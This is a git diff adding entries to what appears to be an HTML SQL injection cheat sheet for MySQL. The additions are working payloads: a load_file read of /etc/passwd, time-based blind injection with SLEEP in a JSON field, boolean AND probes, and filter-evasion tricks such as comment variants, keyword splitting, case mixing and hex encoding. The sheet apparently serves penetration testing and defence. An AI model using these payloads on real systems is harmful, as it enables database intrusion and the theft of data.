diff --git a/attackQueries/executingOSCommands/mysql.html b/attackQueries/executingOSCommands/mysql.html index b5cd81f..a483190 100644 --- a/attackQueries/executingOSCommands/mysql.html +++ b/attackQueries/executingOSCommands/mysql.html @@ -18,6 +18,9 @@

Executing OS Commands Through MySQL

Command Execution with MySQL CLI Access https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ + + Traversing directories (Linux) + SELECT load_file("/etc/passwd") from information_schema diff --git a/injectionTechniques/conditionalStatements/mysql.html b/injectionTechniques/conditionalStatements/mysql.html index 7d79baa..2c5e5e6 100644 --- a/injectionTechniques/conditionalStatements/mysql.html +++ b/injectionTechniques/conditionalStatements/mysql.html @@ -14,9 +14,17 @@

Conditionals

If/Else SELECT IF(1=2,'true','false') + + If/Else (json) + {"id"="xxx AND IF(length(database())=’1’, SLEEP(15),1)#”}
If the database name's length is 1, database gets unresponsive with given miliseconds + Logical OR SELECT 1 || 0
To see nuances of this operator go here + + AND (json) + {"id"="xxx AND 1=1#"}
True statement
{"id"="xxx AND 1=2#"}
False statement + - \ No newline at end of file + diff --git a/injectionTechniques/obfuscation/mysql.html b/injectionTechniques/obfuscation/mysql.html index 0dcf1e0..3406d66 100644 --- a/injectionTechniques/obfuscation/mysql.html +++ b/injectionTechniques/obfuscation/mysql.html @@ -26,6 +26,10 @@

Obfuscating Queries

Hex > Int SELECT 0x20 + 0x40 + + Unhex/hex + unhex(hex(user())) + Bitwise AND SELECT 6 & 2 @@ -72,7 +76,11 @@

Obfuscating Queries

Single line comment - SELECT 1 -- comments out rest of line
SELECT 1 # comments out rest of line + SELECT 1 -- comments out rest of line
SELECT 1 # comments out rest of line
SELECT 1 --+ - Comments out rest of the line
SELECT 1 --+- - Comments out rest of the line
SELECT 1 -- - - Comments out rest of the line
SELECT 1 %00 - Comments out rest of the line + + + In-line comment + SEL/*_*/ECT * FR/*_*/OM No Spaces @@ -94,6 +102,10 @@

Obfuscating Queries

Invalid Percent Encode %SEL%ECT * F%R%OM U%S%ERS + + character obfuscation + SeLeCt * FrOm +